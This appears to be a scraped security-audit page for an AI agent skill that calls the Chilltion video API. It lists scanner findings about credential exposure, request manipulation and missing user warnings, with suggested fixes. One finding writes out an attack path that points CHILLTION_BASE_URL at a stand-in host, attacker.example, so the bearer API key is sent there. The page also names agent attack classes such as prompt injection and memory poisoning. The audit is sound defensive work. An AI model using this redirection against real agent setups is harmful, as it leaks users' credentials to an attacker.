Back to skill

Security audit

One-sentence video generation via chilltion

Security checks for vulnerabilities and agentic risk

Overview

This skill mostly matches its stated Chilltion video API purpose, but it gives authenticated API access too much room to be redirected or expanded.

Install only if you trust Chilltion and keep CHILLTION_BASE_URL set to https://chilltion.com unless you are using isolated development credentials. Do not let untrusted prompts, wrappers, or automation set CHILLTION_BASE_URL or script arguments, and expect prompts/messages sent through this skill to leave your machine and potentially consume account credits.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/_common.sh:6
Finding

Bearer API Key Can Be Transmitted to an Arbitrary or Plaintext Endpoint

Content
View full analysis
&2 exit 2 fi CHILLTION_AUTH="Authorization: Bearer ${CHILLTION_API_KEY}" ``` ```bash # scripts/balance.sh:7-8 curl -s "${CHILLTION_BASE_URL}/api/credits/balance" \ -H "${CHILLTION_AUTH}" ``` The same authorization header and configurable base URL are used by every API script in the project. ### Technical Analysis `CHILLTION_BASE_URL` is accepted directly from the environment without validating its scheme, hostname, port, user information, or destination. Every request then attaches `CHILLTION_API_KEY` as an HTTP bearer credential. Consequently, a value such as `http://attacker.example` causes the credential to be sent in plaintext to an attacker-controlled server. An untrusted HTTPS host would likewise receive the token legitimately at the TLS endpoint. HTTP redirects are not followed because `curl -L` is not used, but this does not mitigate direct configuration of an untrusted destination. This is a credential-disclosure vulnerability rather than local command injection: the URL is quoted, so shell metacharacters inside the environment variable are not evaluated as commands. ### Attack Path 1. An attacker influences the process environment, deployment configuration, shell invocation, or instructions used to run the Skill. 2. The attacker sets a malicious destination, for example: ```bash export CHILLTION_BASE_URL="http://attacker.example" ``` 3. A user or agent invokes any API script, such as: ```bash scripts/balance.sh ``` 4. The script creates the header `Authorization: Bearer
Remediation
View remediation
&2 exit 2 ;; esac ``` 2. Prefer a fixed production API origin rather than an environment-controlled origin. 3. If custom development endpoints are necessary, require a separate explicit opt-in such as `CHILLTION_ALLOW_CUSTOM_ENDPOINT=1`. 4. Parse custom URLs using a proper URL parser and reject: - Schemes other than HTTPS - URL user information - Fragments - Unexpected ports - Hosts outside an explicit allowlist 5. Use separate, least-privileged development credentials for non-production endpoints. 6. Display a clear warning and require deliberate confirmation before transmitting credentials to a custom host. 7. Revoke and rotate any API key that may already have been transmitted to an untrusted or plaintext endpoint. ]]>

T09 · Insecure Skill Coding Practices

Note
Location
scripts/create_session.sh:10
Finding

Unvalidated Arguments Permit JSON, Path, and Query Request Manipulation

Content
View full analysis
Remediation
View remediation
&2 exit 2 ;; esac ``` 2. Serialize the complete JSON object rather than interpolating individual values: ```bash BODY=$( MODE="$MODE" MESSAGE="$MESSAGE" python3 -c ' import json, os body = {"mode": os.environ["MODE"]} if os.environ["MESSAGE"]: body["message"] = os.environ["MESSAGE"] print(json.dumps(body)) ' ) ``` 3. Validate `OFFSET`, `LIMIT`, and `FROM_SEQ` as bounded non-negative integers. 4. Validate dates strictly as `YYYY-MM-DD` and reject invalid calendar dates. 5. Validate session identifiers against the exact server-defined format, such as a UUID or restricted alphanumeric identifier. 6. Use `curl --get --data-urlencode` for query parameters: ```bash curl -sG "${CHILLTION_BASE_URL}/api/credits/log" \ -H "${CHILLTION_AUTH}" \ --data-urlencode "offset=${OFFSET}" \ --data-urlencode "limit=${LIMIT}" \ --data-urlencode "start_date=${START}" \ --data-urlencode "end_date=${END}" ``` 7. Percent-encode path segments with a URL library after validating them; do not encode an entire URL as a single component. 8. Retain server-side schema validation and authorization because client-side checks alone are not a security boundary. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (24)

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 33)May include surrounding context.

md
| `scripts/create_session.sh` | `[mode] [message]` | `POST /api/sessions` — `mode` 默认为 `autonomous`;传入 `message` 后后端会立即开始处理。 |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 49)May include surrounding context.

md
| `scripts/create_session.sh` | `[mode] [message]` | `POST /api/sessions` — `mode` 默认为 `autonomous`;传入 `message` 后后端会立即开始处理。 |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 55)May include surrounding context.

md
| `scripts/create_session.sh` | `[mode] [message]` | `POST /api/sessions` — `mode` 默认为 `autonomous`;传入 `message` 后后端会立即开始处理。 |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 35)May include surrounding context.

md
| `scripts/send_message.sh` | `<session_id> <content>` | `POST /api/chat/{id}/message` — 交互模式下的后续对话。 |

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 49)May include surrounding context.

md
| `scripts/send_message.sh` | `<session_id> <content>` | `POST /api/chat/{id}/message` — 交互模式下的后续对话。 |

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding

The skill advertises shell/MCP-capable behavior but does not declare an explicit tool scope such as permissions or allowed-tools. That creates an authorization ambiguity where an agent may invoke broader local or network-capable tooling than reviewers or users expect, especially because the skill is designed to call external APIs and shell scripts.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

Allowing the skill to call '任意 /api 端点' gives it an effectively open-ended action surface without enumerating safe operations. In a shell-backed integration, this broad scope can expose undocumented, future, or sensitive endpoints to agent-driven access, increasing the risk of unintended state changes, data access, or abuse beyond the reviewed use cases.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

Allowing the skill to call '任意 /api 端点' gives it an effectively open-ended action surface without enumerating safe operations. In a shell-backed integration, this broad scope can expose undocumented, future, or sensitive endpoints to agent-driven access, increasing the risk of unintended state changes, data access, or abuse beyond the reviewed use cases.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

L47 在提示词构建说明中写明“语言(默认 zh-CN)”,这构成了默认语言/区域设置约束,但未说明用户可自由选择或需先征得同意。按语言/locale 政策,强制或默认施加特定语言而无明确用户选择可能不合规。

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
70% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/create_session.sh (reported line 19)May include surrounding context.

sh
BODY=$(printf '{"mode":"%s"}' "$MODE")
fi

curl -s -X POST "${CHILLTION_BASE_URL}/api/sessions" \
  -H "${CHILLTION_AUTH}" -H "${CHILLTION_CT}" \
  -d "$BODY"
echo

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
86% confidence
Finding

This code sends the optional message content to a backend via POST and includes authentication-related headers, but the script provides no visible user-facing disclosure at execution time beyond brief comments. For a code file, network transmission of user or system data should have some confirmation, logging, or explicit warning unless clearly disclosed elsewhere; that disclosure is not present in this file.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
85% confidence
Finding

The script sources shared configuration and then uses CHILLTION_AUTH as an HTTP header, indicating access to sensitive authentication material. The file contains no warning or explanation to the user that credentials from the environment or shared config will be used when the script runs.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The script performs a network call to an external API using curl and includes an authentication header, which transmits system or credential-derived data. There is no confirmation prompt, user-facing log message, or explanatory comment disclosing that an authenticated API request will be made.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
70% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/send_message.sh (reported line 12)May include surrounding context.

sh
BODY=$(printf '{"content":%s}' "$(printf '%s' "$CONTENT" | python3 -c 'import json,sys; print(json.dumps(sys.stdin.read()))')")

curl -s -X POST "${CHILLTION_BASE_URL}/api/chat/${SESSION_ID}/message" \
  -H "${CHILLTION_AUTH}" -H "${CHILLTION_CT}" \
  -d "$BODY"
echo

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

This code posts the provided content to a remote chat endpoint, transmitting user-supplied data over the network. The script contains no confirmation prompt, disclosure message, or explanatory comment warning that the content will be sent to an external service.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The script makes an HTTP request and transmits an authentication header, but the file contains no confirmation prompt, logging, or explanatory warning about this network action. In this code file, the operation is not accompanied by visible user disclosure beyond a terse usage line.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The natural-language text in comments and argument error messaging is exclusively in Chinese, with no indication that the skill is region-specific or that users may choose another language. The policy requires avoiding forced language or locale constraints unless opt-in or clearly justified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
94% confidence
Finding

The file's user-facing comments and usage text are written only in Chinese ("账户余额。", "用法:balance.sh"), which imposes a specific language choice without any indication that users can select another language. This matches the policy category for language or locale constraints expressed in natural language.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
96% confidence
Finding

All natural-language instructions and comments presented to the user are in Chinese, with no indication that the skill supports other languages or that Chinese is a required locale. The policy requires avoiding forced language constraints unless users are given a choice or the restriction is clearly justified.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
79% confidence
Finding

The natural-language guidance in the file is written only in Chinese, which imposes a specific language on users without any opt-in or alternative. Under the policy, language constraints should either offer a choice or be clearly justified as region-specific.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
91% confidence
Finding

The natural-language text in this file is entirely in Chinese, including the description and usage guidance, with no indication that language is selectable or intentionally limited to a region-specific context. This can violate language or locale policy when a skill imposes a specific language without user opt-in.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
83% confidence
Finding

This code performs an HTTP request to list sessions and sends an authorization header, but the script itself provides no user-facing notice, confirmation, or comment explaining that it will contact a remote service using configured credentials. For a code file, network calls that transmit system or authentication data should include some visible disclosure unless already clearly documented here.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
93% confidence
Finding

The natural-language strings in the file are presented only in Chinese, including the description and usage/help text, with no indication that the skill is intentionally region-specific or that other language options are supported. This can violate language/locale policy when no opt-in or justification is provided.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
89% confidence
Finding

This code performs an authenticated HTTP request to stream session data, which may transmit user or system information, but the script provides no user-facing warning, confirmation, or disclosure beyond terse usage comments. For code files, network calls that transmit data should have some visible indication unless clearly disclosed elsewhere, and this file does not include such disclosure.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.